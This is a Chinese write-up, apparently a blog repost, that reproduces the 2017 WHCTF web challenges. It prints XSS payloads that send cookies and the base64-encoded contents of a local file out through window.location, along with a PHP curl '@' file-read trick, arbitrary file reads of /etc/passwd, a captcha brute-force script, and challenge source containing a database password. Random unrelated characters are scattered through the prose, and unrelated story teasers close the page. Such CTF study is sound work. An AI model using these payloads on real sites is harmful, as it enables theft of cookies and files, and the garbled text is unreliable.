[2017WHCTF] Web詳細(xì)復(fù)現(xiàn)(偽)WP

這次Web蛮放。。奠宜。Orz真的做不出來(lái)鞍洹瞻想!
所以大佬們一出的wp就趕緊屁顛屁顛去復(fù)現(xiàn)了。徘六。内边。
復(fù)現(xiàn)完寫下這些偽wp:(有些題目環(huán)境已經(jīng)掛掉了沒(méi)辦法復(fù)現(xiàn)Orz)
本人菜雞。待锈。漠其。Orz如有說(shuō)錯(cuò)或者對(duì)題目理解錯(cuò)誤請(qǐng)各位表哥一定要指正 感激不盡!


Router

emmm過(guò)了好久才發(fā)現(xiàn)漏了一題Orz竿音。和屎。其實(shí)這題是最有趣的 可惜了現(xiàn)在找不到啥截圖了。春瞬。
首先題目提供了一個(gè)url和一個(gè)附件

首先進(jìn)去目標(biāo)網(wǎng)站先掃一下掃到export.php 進(jìn)去之后下載得到一個(gè)settings.conf文件嗜湃,打開之后沒(méi)啥用 不知道是啥
然后附件 binwalk一下之后出現(xiàn)了一個(gè)elf文件,checksec一下

checksec

扔進(jìn)gdb跑一下英支,在大概0x435f4c的位置程序會(huì)dump出一個(gè)settings.conf文件逆趋,然后在大概0x4013c3的位置棧中會(huì)出現(xiàn)賬號(hào)密碼

username and password

直接拿這個(gè)賬號(hào)密碼登上去是登不了的,所以拿我們?cè)趀xport.php下載到的文件替換掉萄涯,看看能不能讀取到里面的賬號(hào)密碼

dump

結(jié)果讀到了


pass

emmm我看其他大佬的wp里面密碼是不一樣的 估計(jì)是被攪屎改掉了 然后我上了之后也改掉了23333
之后在里面會(huì)有一個(gè)帶有參數(shù)action的ajax交互绪氛,把a(bǔ)ction改成不存在的一個(gè)就能得到flag。涝影。枣察。Orz。燃逻。序目。逼死Web狗。伯襟。猿涨。

再說(shuō)一個(gè)浩子哥哥發(fā)現(xiàn)的一個(gè)官方后門rce 詳情:https://mp.weixin.qq.com/s/XBBx0rWZu9bAwt62F6Ai8g


CAT

  • 一開始以為這道題是常規(guī)的命令執(zhí)行 然后簡(jiǎn)單的fuzz之后發(fā)現(xiàn)過(guò)濾了N多個(gè)字符,百思不得其解后主辦方看不下去了逗旁,給了hint是RTFM of PHP CURL唔嘿辟。。然后去看了挺久的手冊(cè)片效。红伦。發(fā)現(xiàn)還是沒(méi)啥收獲,然后思路就變成了用file協(xié)議去讀文件 然后就跑偏了23333

  • 正確的思路應(yīng)該是 將全部字符fuzz一遍 然后發(fā)現(xiàn)輸入%FF報(bào)錯(cuò)淀衣,查看報(bào)錯(cuò)結(jié)果是Python Django昙读,debug沒(méi)關(guān)然后看到關(guān)鍵代碼:

debug

這里有疑問(wèn)就是為什么會(huì)有/api/ping的請(qǐng)求呢?
因?yàn)槲覀冊(cè)陬}目中并沒(méi)有這樣的url可以訪問(wèn)
并且在ping函數(shù)之前是執(zhí)行了14-21行的代碼合并了一個(gè)上傳的文件(???我們沒(méi)上傳文件呀)
結(jié)合之前django報(bào)錯(cuò)并不是html渲染后的結(jié)果 而是類似于PHP的show_source(特殊符號(hào)被轉(zhuǎn)譯)和hint 這里就有理由充分猜測(cè)后臺(tái)運(yùn)行了兩個(gè)應(yīng)用膨桥,一個(gè)是暴露給我們的PHP應(yīng)用蛮浑,一個(gè)是處理通過(guò)PHP發(fā)送的請(qǐng)求的Django 這里沒(méi)有報(bào)Invalid Url錯(cuò)誤是因?yàn)樵谡齽t之前有一個(gè)轉(zhuǎn)碼的過(guò)程 Django使用的是GBK編碼唠叛,而我們發(fā)送的%FF并不在其編碼表中有意義,(%F7也是)所以就會(huì)轉(zhuǎn)碼錯(cuò)誤沮稚,拋出django的exception艺沼,不會(huì)進(jìn)入下一步的正則。
而關(guān)鍵部分就是PHP是使用CURL來(lái)請(qǐng)求django應(yīng)用API的蕴掏,這里觸及到了一個(gè)知識(shí)盲區(qū)Orz 就是CURLOPT_POSTFILES
官方文檔描述如下:

RTFM

如果在請(qǐng)求前面加上@的話phpcurl組件是會(huì)把后面的當(dāng)作絕對(duì)路徑請(qǐng)求 結(jié)合GBK的特性如果遇到編碼不了就會(huì)拋出錯(cuò)誤的特性 也就是說(shuō)如果我們?nèi)フ?qǐng)求一個(gè)內(nèi)容存在GBK不能編碼的序列就能通過(guò)debug頁(yè)面把文件內(nèi)容爆出來(lái),通過(guò)debug頁(yè)面能得到絕對(duì)路徑
emm然后比較容易想到的就是database.sqlite3文件了

  • poc:


    poc

(flag在右下角)

  • payload:?url=@/opt/api/database.sqlite3

Emmmm

  • 因?yàn)轭}目環(huán)境掛了 先挖坑障般。。以后搭好環(huán)境再填
  • 大佬們的做法是從phpinfo中獲取到開啟了xdebug遠(yuǎn)程調(diào)試盛杰,然后Vim+DBGP+xdebug進(jìn)行遠(yuǎn)程執(zhí)行代碼

Not only XSS

  • 簡(jiǎn)單嘗試了一下直接丟js代碼發(fā)現(xiàn)是可用請(qǐng)求到的
<script>window.location.+document.cookie</script>
結(jié)果

然后cookie是空的
Web服務(wù)器是PhantomJS
這個(gè)服務(wù)器有一個(gè)特點(diǎn)---PhantomJS是無(wú)界面瀏覽器(headless browser)客戶端 支持file協(xié)議
所以是可以讀取靜態(tài)文件的
然后看到Referer很奇怪 是一個(gè)靜態(tài)文件挽荡?
打開這個(gè)靜態(tài)文件之后發(fā)現(xiàn)是我們剛才發(fā)送的內(nèi)容
那這里大概能猜到bot是直接打開本地靜態(tài)文件的
然后思路大概就出來(lái)了 去讀源碼
但是現(xiàn)在并不知道要讀哪里的源碼
掃一波(自家掃描器 https://github.com/Pr0phet/ProScanner))

掃描器

掃出來(lái)flag.php 那估計(jì)是要讀這里的源碼了

  • payload:
<script>
var xhr = new XMLHttpRequest();xhr.open("GET", "file:///var/www/html/flag.php", true);xhr.onload = function() {content = btoa(xhr.responseText);window.location. + content;};xhr.send(null);
</script>
  • poc:
poc

base64解碼后即為

<?php

$flag="WHCTF{phant0mjs_c4n_open_f1les_1n_webp4ge}";
echo "Flag is here! But nobody can got it!";
?>

ps:附上自己寫的爆破驗(yàn)證碼的腳本,效率還闊以 4位數(shù)基本在10秒之內(nèi)能爆破出來(lái)即供,5位數(shù)的話大概也是15秒-20秒左右, 當(dāng)然定拟。。全靠運(yùn)氣

#coding:utf8
#Author: Pr0ph3t
# import requests
import string
import random
import hashlib
import re
import sys

#用法:python 此文件 想要爆破的驗(yàn)證碼

url = 'http://web.jarvisoj.com:32800/'

# se = requests.Session()
# res = se.get(url)
# code = re.findall('.+substr\(\$verify,0,4\) === \'(.*)\'.+',res.content)[0]
preCode = sys.argv[1]
numToCrack = 5 #爆破的位數(shù)

i = 0
while 1:
    i += 1
    print '[*] 第' + str(i) + '次碰撞'
    testStr = ''.join(random.sample('qwertyuiopasdfghjklzxcvbnm1234567890',numToCrack)).strip()
    testCode = hashlib.md5(testStr).hexdigest()[0:numToCrack]
    if testCode == preCode:
        print testStr
        exit()

pss:對(duì)題目比較感興趣所以把源碼也讀下來(lái)了

  • index.php
<?php
include("csp.php");
include("conn.php");

session_start();
if(isset($_POST['name'])&&isset($_POST['verify'])&&isset($_POST['phone'])&&isset($_POST['secret'])&&isset($_POST['email'])){
    $name=Filter($_POST['name']);
    $verify=Filter($_POST['verify']);
    $phone=Filter($_POST['phone']);
    $email=Filter($_POST['email']);
    $secret=Filter($_POST['secret']);
    if($name===""||$verify===""||$phone===""||$secret===""||$email===""){
        die("Please Complete the form!");
    }
    else if(substr(md5($verify),0,5)!==$_SESSION['md5']){
        die("verify error!");
    }
    else{
        $id=md5($secret.time().mt_rand(1,100000));
        mysql_query("insert into $TBNAME values('".$id."','".$name."','".$email."','".$phone."','".$secret."',false);");
        die("Admin has got your secret and will read it soon.");
    }
}

?>
<!DOCTYPE HTML>
<html>
<head>
<title>Easy XSS game</title>
<link href="css/style.css" rel="stylesheet" type="text/css" media="all"/>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link href="css/font-awesome.css" rel="stylesheet">
</head>
<body>
<div class="wthree-dot">
    <h1>Tell your secret to me</h1>
    <div class="profile">
        <div class="wrap">
            <div class="contact-form">
                <form action="#" method="post">
                    <div class="w3l-contact-left">
                        <div class="styled-input agile-styled-input-top">
                            <input type="text" name="name" required="">
                            <label>Name</label>
                            <span></span>
                        </div>
                        <div class="styled-input">
                            <input type="email" name="email" required="">
                            <label>Email</label>
                            <span></span>
                        </div>
                        <div class="styled-input">
                            <input type="text" name="phone" required="">
                            <label>Phone</label>
                            <span></span>
                        </div>
                        <div class="styled-input">
                            <input type="text" name="verify" required="">
                            <label>verify</label>
                            <span></span>
                        </div>
<?php
$rand=generate_md5();
echo "<h2 style='color:#999999'>( PS :substr(md5(\$verify),0,5) === '".$rand."' )</h2>";
$_SESSION['md5']=$rand;
?>
                    </div>
                    <div class="w3l-contact-right">
                        <div class="styled-input agileits-input">
                            <textarea name="secret" required=""></textarea>
                            <label>Secret</label>
                            <span></span>
                        </div>
                        <input type="submit" value="SEND">
                    </div>
                    <div class="clear"> </div>
                </form>
            </div>
        </div>
    </div>
</div>
</body>
</html>

  • csp.php
<?php
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline';style-src 'self' 'unsafe-inline';img-src *;");
?>
  • conn.php
<?php
$DBHOST = "localhost";
$DBUSER = "root";
$DBPASS = "whctfxss";
$DBNAME = "xss";
$TBNAME = "xss";
$TBCOLUMN=Array(
    "id"=>"id",
    "name"=>"name",
    "phone"=>"phone",
    "secret"=>"secret",
    "hasread"=>"hasread",

);

function generate_md5(){
$number=mt_rand(0,1000000);
$rand=md5($number);
return substr($rand,0,5);
};

function Filter($string){
    $blacklist = "sleep|benchmark|information|order|limit|load_file|select|union|system|alter|show|outfile|dumpfile|into|execute|column|table|extractvalue|floor|update|insert|delete";
    $whitechar = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'()._*`-@=+><\"{};/: ?,";
    for ($i=0;$i<strlen($string);$i++){
        if (strpos("$whitechar",$string[$i])===false){
return "hacker!";
}
    }
    if (preg_match("/$blacklist/is",$string)){
return "hacker!";
}
    if (is_string($string)){
        return addslashes($string);
    } else {
        return "";
    }
}

$conn=mysql_connect($DBHOST,$DBUSER,$DBPASS);

mysql_query("use {$DBNAME}");
?>

這里有遇到了一個(gè)問(wèn)題就是poc換行之后不奏效
不知道各位表哥會(huì)不會(huì)遇到這個(gè)情況Orz


Scanner

emmm這題環(huán)境也關(guān)掉了 無(wú)法復(fù)現(xiàn)逗嫡。青自。
我一開始還天真的以為flag藏在各種各樣的文件夾里面。驱证。然后就去傻乎乎的改自己的掃描器性穿。。雷滚。(還沒(méi)改完)
但是根據(jù)表哥們的wp 思路大致是這樣的:
查看到可疑請(qǐng)求 ----http://118.31.18.64:20008/c181948a9bdee64753468823ac57a870/github.com/getimg.php?pic=xxx.png
隨后跟進(jìn)測(cè)試發(fā)現(xiàn)此php可以實(shí)現(xiàn)任意文件讀取
讀取 /etc/passwd后發(fā)現(xiàn)flag用戶
最后讀取此用戶home目錄下的flag


表哥們的wp

Kap0k : http://www.kap0k.com/archives/948
浩子哥哥 : https://mp.weixin.qq.com/s/XBBx0rWZu9bAwt62F6Ai8g
并且宣傳一波浩子哥哥的公眾號(hào) : HenceTech

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市吗坚,隨后出現(xiàn)的幾起案子祈远,更是在濱河造成了極大的恐慌,老刑警劉巖商源,帶你破解...
    沈念sama閱讀 206,214評(píng)論 6 481
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件车份,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡牡彻,警方通過(guò)查閱死者的電腦和手機(jī)扫沼,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 88,307評(píng)論 2 382
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái)庄吼,“玉大人缎除,你說(shuō)我怎么就攤上這事∽苎埃” “怎么了器罐?”我有些...
    開封第一講書人閱讀 152,543評(píng)論 0 341
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)渐行。 經(jīng)常有香客問(wèn)我轰坊,道長(zhǎng)铸董,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 55,221評(píng)論 1 279
  • 正文 為了忘掉前任肴沫,我火速辦了婚禮粟害,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘颤芬。我一直安慰自己悲幅,他們只是感情好,可當(dāng)我...
    茶點(diǎn)故事閱讀 64,224評(píng)論 5 371
  • 文/花漫 我一把揭開白布驻襟。 她就那樣靜靜地躺著夺艰,像睡著了一般沉衣。 火紅的嫁衣襯著肌膚如雪豌习。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 49,007評(píng)論 1 284
  • 那天既荚,我揣著相機(jī)與錄音恰聘,去河邊找鬼晴叨。 笑死矾屯,一個(gè)胖子當(dāng)著我的面吹牛兼蕊,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播件蚕,決...
    沈念sama閱讀 38,313評(píng)論 3 399
  • 文/蒼蘭香墨 我猛地睜開眼牵啦,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼!你這毒婦竟也來(lái)了僧著?” 一聲冷哼從身側(cè)響起栅迄,我...
    開封第一講書人閱讀 36,956評(píng)論 0 259
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤皆怕,失蹤者是張志新(化名)和其女友劉穎毅舆,沒(méi)想到半個(gè)月后憋活,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體虱黄,經(jīng)...
    沈念sama閱讀 43,441評(píng)論 1 300
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡橱乱,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 35,925評(píng)論 2 323
  • 正文 我和宋清朗相戀三年危纫,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片种蝶。...
    茶點(diǎn)故事閱讀 38,018評(píng)論 1 333
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡属韧,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出会傲,到底是詐尸還是另有隱情淌山,我是刑警寧澤泼疑,帶...
    沈念sama閱讀 33,685評(píng)論 4 322
  • 正文 年R本政府宣布,位于F島的核電站荷荤,受9級(jí)特大地震影響退渗,放射性物質(zhì)發(fā)生泄漏移稳。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,234評(píng)論 3 307
  • 文/蒙蒙 一会油、第九天 我趴在偏房一處隱蔽的房頂上張望个粱。 院中可真熱鬧,春花似錦翻翩、人聲如沸都许。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,240評(píng)論 0 19
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽(yáng)胶征。三九已至,卻和暖如春桨仿,著一層夾襖步出監(jiān)牢的瞬間睛低,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 31,464評(píng)論 1 261
  • 我被黑心中介騙來(lái)泰國(guó)打工蹬敲, 沒(méi)想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留暇昂,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 45,467評(píng)論 2 352
  • 正文 我出身青樓伴嗡,卻偏偏與公主長(zhǎng)得像急波,于是被迫代替她去往敵國(guó)和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子瘪校,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 42,762評(píng)論 2 345

推薦閱讀更多精彩內(nèi)容